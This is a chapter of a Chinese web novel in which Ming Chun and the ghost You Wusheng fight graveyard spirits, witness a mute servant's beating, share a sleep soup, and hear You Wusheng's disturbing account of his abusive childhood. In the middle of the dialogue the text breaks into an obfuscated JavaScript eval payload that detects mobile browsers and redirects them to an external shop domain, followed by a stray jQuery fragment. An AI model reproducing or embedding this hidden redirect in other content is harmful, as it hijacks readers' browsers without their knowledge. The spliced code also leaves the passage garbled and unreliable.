游芜生一出手,事情就变得简单了许多。明春窝在他的怀里,双眼紧闭,听见锋利的银剑不断在血肉里进进出出。
声音渐渐变小,她微睁开一只眼,看向被阴鬼追得狼狈不堪的徐清如,喊道:“徐清如,到这边来!”
徐清如听到明春的声音,立马带着追自己的阴鬼往游芜生那边跑。
干净利索的几道声响,他身后的阴鬼也通通灰飞烟灭。
徐清如看着游芜生脚尖轻点,发带翩飞,衣袍猎猎作响。动手时轻巧灵活,犹如一道白色鬼魅。
倒吸一口凉气:“游兄,我收回刚刚的话。你其实是个非常不错的人。”
大部分阴鬼被游芜生斩灭了,小部分也纷纷抱头逃窜。恐怖的坟场瞬间变得眉清目秀。
空气里飞舞的骨灰渐渐散了。
明春正听徐清如描述他们刚刚是如何被那群莫名出现的黑衣人抓走的。不远处忽然传来一阵尖叫辱骂声。
明春循声望过去,声音是从陈厉那边传来的。
只是陈厉正在安慰哭泣的流民孩子,对于不远处的动静,也只是冷漠地扫了一眼。
人群中的哑奴抱着头,瘦弱的身子不断颤抖。
露出的胳膊上已经印了好几道痕迹。男人还在不停地踩他的头。嘴里吐着难听的秽语。
明春高声喊停他,眉头紧皱:“为何要打他?”
那男人翻了个白眼,喝道:“这小孩偷了我的东西,你别给我在这多管闲事!”
那男人看出明春想要多管闲事,他抓住哑奴的头发,将他的头拉起来:“哑奴,你要和谁走?”
哑奴抬起手指,似乎是被打得失力了,动作万分僵硬地指了指男人。眼底不断冒出泪水。
男人得意地笑:“多管闲事!”
那男人转身走了,哑奴像被无形的丝线操控,手忙脚乱爬起来,一瘸一拐地跟了上去。
明春还想再说什么,哑奴已经走远了。
明春看着哑奴僵硬无比的动作,总感觉十分眼熟。
她眉心微折,见那男人又给了哑奴一拳,忍不住咒骂:“这种人,迟早会下地狱的。”
游芜生眨了眨眼,好奇道:“下地狱是什么意思?”
明春:“就是会死得很惨的意思。”
游芜生点点头:“我明白了。”
徐清如不知何时凑了过来。他眼眸极亮,里头浮着浓重的趣味:
“明姑娘说得对。不过你骂早了,这种人不值得你费口舌,咱们不如干点实在的。”
他撸了撸袖子,目光紧追着那两道快要消失的背影:“我的直觉告诉我,这两个人都有古怪,我去探探他们的底。”
明春正要开口阻止,徐清如已经冲游芜生拱了拱手,露出一抹的灿烂的笑:
“游兄,如果我遇险了,你一定要记得来捞我啊。”
游芜生笑容微顿,随即真诚地点了点头:“好啊。”
徐清如顿时安心了许多:“有你这句话,徐某上刀山下火海也舍得!”
明春心道等他捞你,你尸体都凉透了。
她算是看出来了,徐清如这人就是个探案脑,明知山有虎,偏向虎山行。
她叹口气,从袖子里掏出一对传音符,分了一张给他:“你有事喊我们吧。”
徐清如走后,天色已经暗了大半。坟场边缘的枯枝被风吹得咔吱作响。
游芜生感受到明春在微微发抖,背对着她蹲下来安静地侧头看着她。
明春摇头拒绝了。
两个人沿着来时路往回走,远处林梢最后一抹橘红正在往下沉,脚步踏在落叶上的声音格外清晰。
行至半程,几声鸟叫破空而至,明春猛地一抖,才后知后觉地察觉到自己的心口压着什么。
她脑子里已经不自觉地开始翻今天这堆烂账。
好感度没动、紫衣少年没痕迹、莫名其妙被盯上……桩桩件件压在心上,压得她越来越不快。
这情绪一直持续到睡觉前。
她揉揉头,叹口气,思虑过多,今晚估计又要做噩梦了。
嘴边忽然被湿漉漉的勺子蹭了蹭。
游芜生微笑道:“这是安神汤,喝了之后,你会很快入睡,而且能睡得安稳,怎么闹都不会醒了。”
这话怎么听着不像安神汤,像迷魂药呢?
明春:“你从哪里弄来的?”
游芜生抬了抬下巴,示意桌边,眉眼弯起来:“当然是【游芜生】做的。”
桌边站在一具木偶游芜生,木脸上印着暗红模糊的五官,嘴角裂开,正殷勤地端着一锅热气腾腾的汤,将它放在桌子上。
烛火从它的背后打过来,木偶的影子长长地投在墙上,和游芜生的影子并排着,像一对双生鬼。
明春眨了眨眼,木偶又消失不见了。
只剩下桌面上那只汤锅,白汽袅袅升起,在昏黄的烛光里散成一团暖雾。
诡异得很。
但明春早就已经对这种画面免疫了。
她看着递到她嘴边的勺子,沉默了一瞬,把碗抢了过来:“我自己喝。”
游芜生盯着空荡荡的手,神情瞬间凝滞:“我哪里做得不好吗?”
明春看一眼他。
她一旦不让游芜生照顾她,他就会变得有些焦躁不安。
总不能是他天生劳碌命吧?
明春:“没有拒绝你照顾我的意思。”
她指了指剩余的安神汤:“我的意思是,你也喝一点,我们都睡个好觉。”
烛光跳跃,两人的影子晃晃悠悠,中间隔了几指距离,沉默地喝汤。
明春才喝完,就感觉到了那些理不清的烦躁全消失了,一阵困倦慢上来,心想这安神汤效果是真的不错。
她撑着下巴盯着喝汤的游芜生,另一只手把玩着手腕的【造梦珠】,不知道这安神汤对鬼有没有作用。
明春提前和系统打了招呼。
“如果游芜生入梦了,那么你就帮我使用道具。”
“还有100%是什么意思,这个造梦珠不是一次性道具吗?”
【造梦珠为消耗类道具】
明春惊讶地看着这颗平平无奇的珠子。
那她是不是可以用几次!
既然如此,她等会进去就给游芜生造个春梦。攻略游戏里不都这样吗?
明春正在坏笑,耳边传来极轻的碗瓷碰撞声。
她回过神,看着空荡荡的锅,嘴角笑意僵了一下,声音有些发飘:“你怎么全喝了?”
面对明春的质问,游芜生困惑地歪了歪头:“不是你说的吗?剩下的你喝吧。”
明春:.......
这可是整整一大锅安神汤啊!他是水牛转世吗?
明春眉头拧紧,心口沉甸甸的。刚刚那点春梦畅想的快乐消失的一干二净。
为什么游芜生非要这么听她的话?
她需要的是一个爱人,又不是一条跟着她转的、指哪打哪的疯狗。
她只是随口一说。没摇骨铃,又不是命令,也不是强迫。怎么就她说什么就做什么啊?
把这么多汤全喝进去了,他没有自己的判断,不知道什么是难受吗?
明春洗漱后躺回被窝,白天那些乱七八糟的画面又浮了上来。
徐清如也不知道探到什么了。传音符安安静静的,他应该是安全的吧?
还有那个哑奴……他那副僵硬的走路姿势她一定在哪里见过,但怎么也想不起来了。
脑子里像一团乱麻,怎么也理不清。身上的疲惫涌了上来,明春眼皮越来越重。
烛火已经被吹灭了,只有月光从窗棂打进来。
手腕的红线在不断颤动,游芜生正收拾她摘下的首饰。
月光照在他的侧脸,他的睫毛投下一小片颤动的影子。
他的手从他们进入这个房间开始,从始至终都没停过。如果明春没有猜错,这双手今晚也不会停。
明春盯着那双手看了一会儿,心里忽然冒出一个念头:他小时候也这样吗?手也不停地做事,停不下来。
明春一想到那个画面就头皮发麻,忍不住道:“别做了。睡觉吧。”
游芜生马上停下手中的动作。他转眼就躺在了地上的被褥里,笔直地躺着,双手交叠在腹部,闭着眼睛。
明春盯着他的侧颜,自顾自道:“我爹是教书先生。他在别的城教书,住在那边,几乎不怎么回来。
“我娘开裁衣店,每天忙得不可开支。家里很多时候就我一个人。”
明春睫毛微颤,脑海里闪过小李抛脑袋的血腥画面,拉高被子盖住自己,只露出一双失神的眼眸。
声音有些闷:“要是有人陪我就好了。”
脸颊忽然被一阵冰冷轻触,明春回过神来,游芜生已经坐在了她的床边。
黑漆漆的眼珠子一动不动地盯着她,仔细嗅闻她的气息:“你在伤心。”
明春吸了吸鼻子,让了个位置出来,拍拍床示意他躺上来,笑道:“是啊。你能不能哄哄我开心。”
游芜生盯着那片空地,乖顺地爬上去同明春肩并肩躺在一起,乌黑的发丝相互纠缠。
他扭头安静地凝视着她:“要怎么样才会开心?”
明春眼眸微微转动,面上露出狡黠的神色:“我刚刚讲了一些的我的事,你也讲一些你的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628611|203227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
游芜生沉默了片刻,而后轻笑:“好啊。”
明春诧异。竟然这么容易吗?她还以为又要吃蛊虫什么的。
身边游芜生唇轻启,他的声音泠泠如玉:“我娘是蛊师,我爹是太子。”
明春微微瞪大眼睛。他爹是什么?这和她想的完全不一样。
她立马坐直了听。
游芜生感受到明春起伏的情绪,有些不明白这些话为何能吸引她的侧目。继续讲述他十分无趣的过往。
“我娘来到京城游玩,救了落难的我爹。我爹爱上了我娘。”
明春眼眸微亮,这剧情她熟啊!她看着游芜生的脸色,小心翼翼地猜:
“你娘怀上了你,你爹因为要继承皇位,不得不娶了其他的女子,然后抛弃了你娘?”
因为随意捡男人所以被伤害了,导致他的娘亲情绪不稳定,开始虐待和他爹有血缘的他?
游芜生摇摇头,声音里带着笑意:“并不是这样的。而是——”
“我娘抛弃了他。”
【被她抛弃之后,我爹带着我来蛊云岭寻亲。
蛊云岭外侧烟雾缭绕,蛊虫四处游走。他废了好大劲才带着我进去。
我娘见到我们,神情十分冷淡:“滚吧。”
我爹不停纠缠,推搡期间我摔倒在地,皮肤渗出血液。
她养的蛊虫发出窸窸窣窣的叫声,那张冷淡的脸上才露出一点儿趣味:“不错的体质。他留下,你滚吧。”
没有蛊云岭人的引路,普通人根本没办法绕过层层叠叠的树林和迷惑人的浓雾。
我爹消失了许久。
院里没有围墙,偷蛊的人多。
我娘见我被偷蛊人打得鼻青脸肿,手脚全断,连洗衣做饭都做不了,说我没用,打算买几条狼犬来护着。】
明春猛地坐起来:“等等!你小时候被坏人打成这样?”
她盯着他的侧脸,脑子里的画面停不下来:一个瘦小的孩子,手脚都软趴趴躺在地上,脸上全是伤疤和血迹。
他的母亲没有安慰他,也没有为他哭泣,只是皱着眉头冷冰冰道:“好没用。”
明春嘴巴张张合合,最后喉咙发涩,轻声道:“…那得多疼啊。”
游芜生偏过头看她,有些不明白明春为何露出那种神情,有些困惑地眨眨眼:“疼过就忘了。”
他嘴角露出浅浅的笑:“现在不会了。”
明春咬了咬牙:“是啊,也就欺负你是个小孩子!现在谁也打不过——”
游芜生微笑着打断了她的话,黑漆漆的眼珠子一动不动的盯着她:
“明春,现在我成为了鬼,不管什么样的伤都是很快恢复。我不会连洗衣做饭都做不了的。”
游芜生漆黑的眼眸似蒙了一层薄雾:“我现在很有用的。”
明春:“......”
这是重点吗?
明春看着他平静的眼眸,隐约摸到了此刻游芜生带给她的不适感。
初遇是的游芜生是天真与危险,像本能指引的凶兽,全凭自己的喜好。
虽然残忍且可怕,但是好歹还有一点活鬼味。
现在的游芜生似乎因为什么而抛弃了所有的主体性。
他太听话了,听话得不像个活物,像被异化的工具。
明春睫毛微颤,同他十指相扣,声音放柔了些许:
“你娘买了几条大狼狗,然后呢?有了狗,你就不用再被那些偷蛊的人伤害了吧?”
游芜生点点头,眼眸微亮:“是啊。我当时也是这么想的。”
“可笼子被拖来后,打开一看,狼狗全都死了,只剩我爹在里面。”
明春:“…叔叔还好吧…?”
游芜生喉咙溢出一阵轻笑:“当然。”
【拴狗的链子拴着他的脖子,他浑身都是被狗撕咬过的破烂血肉,唯独脸护得干干净净。
长发凌乱披在身上,闭着眼睛奄奄一息地靠在笼子里。
看到我娘的脸,他几乎是爬过去的,仰着头兴奋喊道:“翠娘!翠娘!”
我娘很不高兴:“我狗呢?”
我爹连忙爬起来俯首称臣,响亮地汪汪叫了好几声:“在这呢!在这呢!”
把我娘气得连抽了他好几个巴掌。
本来就不富裕,狗也没了。
我娘还真把我爹拴在了外面,在他前面放个碗,当狗养了。】
这么离谱的故事,明春真的怀疑他是不是在驴她。
她脑子宕机了很久很久,有些语无伦次:“…那你呢?你爹被栓起来的时候,你在干什么?”
游芜生微笑:“我在旁边站着呢。我娘说,以后我负责喂狗。”